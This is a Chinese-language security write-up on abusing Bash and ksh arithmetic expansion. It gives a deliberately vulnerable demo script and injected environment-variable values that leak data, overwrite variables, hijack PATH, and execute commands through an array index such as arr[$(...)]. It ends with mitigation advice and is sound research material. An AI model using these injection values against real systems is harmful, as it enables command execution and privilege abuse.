如何滥用Shell中的Arithmetic Expansion

 

0x00 前言

最近我们遇到了一类漏洞，这类漏洞之前已被发现过，但利用效果和严重性并没有引起广泛的关注。在（重新）发现这类bug的过程中，我们成功在基于Linux的某个受限shell中拿到了高权限shell。在面对这个受限shell时，一开始我们并没有找到特别好的方法实现shell逃逸，难以执行任意命令。目标shell逻辑上并没有特别明显的问题，并且采用黑名单来过滤输入字符串，似乎会正确验证输入是否合法。在本文中，我们将与大家分享如何绕过这些限制。

此次研究内容只覆盖了Bash及ksh，其他shell能够正确防御这类漏洞，但仍然可能有其他shell存在相同bug。

 

0x01 算术扩展及运算

那么什么是Arithmetic Expansion（算术扩展）呢？GNU的Bash手册中提到：“算术扩展允许计算算术表达式，并且可以实现结果替换”。

简而言之，这意味着我们可以在shell中轻松使用算术表达式（加、减等）。表达式中的元素必须是数字、已知的算术函数或者变量。

举个例子，存在漏洞的shell脚本（arithmetic.sh）如下所示：

#!/bin/bash

LOCALSCOPE="hello"
echo $VARIABLE

if (( VARIABLE == 0 ))
then
            echo "TRUE"
else
            echo "FALSE"
fi

if [[ $LOCALSCOPE != "hello" ]]
then
            echo "hit"
fi
id

这段简单的脚本已经具备我们所需的所有元素，可以通过各种方式来利用。在这个攻击场景中，由于各种原因（比如用户输入直接传递给CGI脚本、环境变量、参数的传递等），攻击者可以控制VARIABLE环境变量。

脚本的逻辑也比较简单：首先打印变量（帮助我们调试，减少错误），然后将输入与0进行比较，根据比较结果打印TRUE或者FALSE，随后检查LOCALSCOPE变量的值，然后从PATH中执行id程序。这里大家可以先使用如下命令来测试一下这个脚本：

VARIABLE=anything ./arithmetic.sh

在这种情况下，显然常见的命令执行技术没法派上用场，我们可以使用$() `` ; |或者其他重定向技术，但默认情况下这些方法也不会被执行。

信息泄露

当我们采用错误输入时，发现脚本会运行错误，从而揭开了冰山一角。当我们使用特定的格式或者脚本非预期的字符时，shell会给出一些错误消息，如下所示：

# VARIABLE=':atest' ./arithmetic.sh
:atest
./arithmetic.sh: line 3: ((: :atest == 0 : syntax error: operand expected (error token is ":atest == 0 ")
FALSE
uid=0(root) gid=0(root) groups=0(root)

用户输入会出现在错误消息中，如果我们能提取出关于系统的一些消息，那么这将是不错的一个切入点。由于运算方法会递归处理，直到解析出所有符号，因此我们可以使用其他环境变量来打印出相应值，比如这里我们可以使用PATH：

# VARIABLE='PATH' ./arithmetic.sh
PATH
./arithmetic.sh: line 3: ((: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: syntax error: operand expected (error token is "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")
FALSE
uid=0(root) gid=0(root) groups=0(root)

显然，只有攻击者能看到这个信息时，这才算得上一个安全漏洞。

覆盖变量

对我们来说，算术运算还有个更有趣的特性，那就是可以将数值赋给变量。通过这个功能，我们可以覆盖变量值，或者将不同作用域的变量赋值为新的数值。

在该脚本中，LOCALSCOPE变量看上去应该坚如磐石，里面没有任何语句可以修改该变量，因此对应的判断表达式将永远不为真，也就永远不会打印hit信息，但真的如此吗？如下所示：

# VARIABLE='LOCALSCOPE=1337' ./arithmetic.sh
LOCALSCOPE=1337
FALSE
hit
uid=0(root) gid=0(root) groups=0(root)

如果我们想修改多个变量，我们也只需要使用如下语法：

VARIABLE='LOCALSCOPE1 = 1337, LOCALSCOPE2 = 1' ./arithmetic.sh

需要注意的是，我们正在滥用shell的算术运算功能，那么为什么不采用更花哨的算术函数呢？例如：

VARIABLE='LOCALSCOPE1 = cos(LOCALSCOPE2)' ./arithmetic.sh

从PATH覆盖到命令执行

在前面描述的技术的基础上，我们已经能够有条件地实现命令执行。如果满足如下条件，我们就能使用上述技术来执行任意代码：

1、源脚本中，在算术计算后至少引用了一个外部可执行文件；

2、我们可以在脚本运行的目录（PWD）中创建目录；

3、使用引用的可执行文件名来创建一个文件。

如下所示：

# mkdir 0
# echo “#!/bin/sh” > 0/id
# echo “echo pwned” >> 0/id
# chmod 777 0/id
# VARIABLE='PATH = 0' ./arithmetic.sh
PATH = 0
TRUE
pwned

那么为什么会出现上述结果？前面提到过，我们可以使用数值来覆盖任何变量。这里我们选择的是0这个值，因此从脚本中的算术运算行开始，PATH变量的值将被修改为0，直到脚本退出为止。在算术运算后执行的（采用相对路径的）外部命令或者可执行文件将在PATH中查找，也就是0目录中查找。由于我们已经在该目录中设置了名为id的一个小恶意脚本，因此目标脚本将执行我们设置的脚本，而不是默认的/usr/bin/id。

这种方式非常好，但我们能否找到不需要前提条件的命令执行方式呢？

无条件命令执行

我们挖掘出来的最大的惊喜就是无条件的命令执行。算术表达式本来就不应该执行命令替换操作，只应展开并计算语句。然而，如果我们在表达式中使用数组，并且数组索引为某个命令，那么shell会将该命令替换为命令执行的结果，从而实现命令执行。

# VARIABLE='arr[$(uname -n -s -m -o)]' ./arithmetic.sh
arr[$(uname -n -s -m -o)]
./arithmetic.sh: line 4: Linux kali x86_64 GNU/Linux: syntax error in expression (error token is "kali x86_64 GNU/Linux")
uid=0(root) gid=0(root) groups=0(root)

其他利用场景

Stéphane Chazelas（也就是发现Shellshock的研究人员）也发现了这个漏洞，并且给出了一些简单的存在漏洞的场景。需要注意的是，shell中不单单双括号存在潜在的攻击点，在某些情况下，其他表达式也会执行命令。大家可以参考此处了解更多信息。

 

0x02 缓解建议

首先我们建议大家在引用所有变量的时候使用引号，在大多数情况下，这样就能避免重新解析，也能避免在使用涉及到IFS中的空格符或其他字符时出现输入分割现象。

不幸的是，在面对算术扩展时引号并不能发挥作用，因此开发者应当确保所有变量和输入都来自于可信源。如果不满足该条件，那么我们应当仔细检查并过滤输入数据，否则就有可能出现本文描述的漏洞。

 

0x03 总结

虽然本文给出的源码一开始看上去毫无破绽，但实际上我们可以通过各种方式来利用。

除了最后一种利用方式外，本文提到的所有技术都应当能正常工作。但在处理无条件命令执行时，大家的意见似乎并不统一。

翻阅各种文章和帖子后，我们发现最早已经有人在2014年5月份提到该这个漏洞，讨论是否应当修复该漏洞。尽管有人认为这的确是一个安全bug，应当被修复，但其他人并不认同这一点。随后在2014年12月，Stéphane Chazelas在Stack Exchange上专门写了一份较长的答案，大家可以访问此处了解过多信息。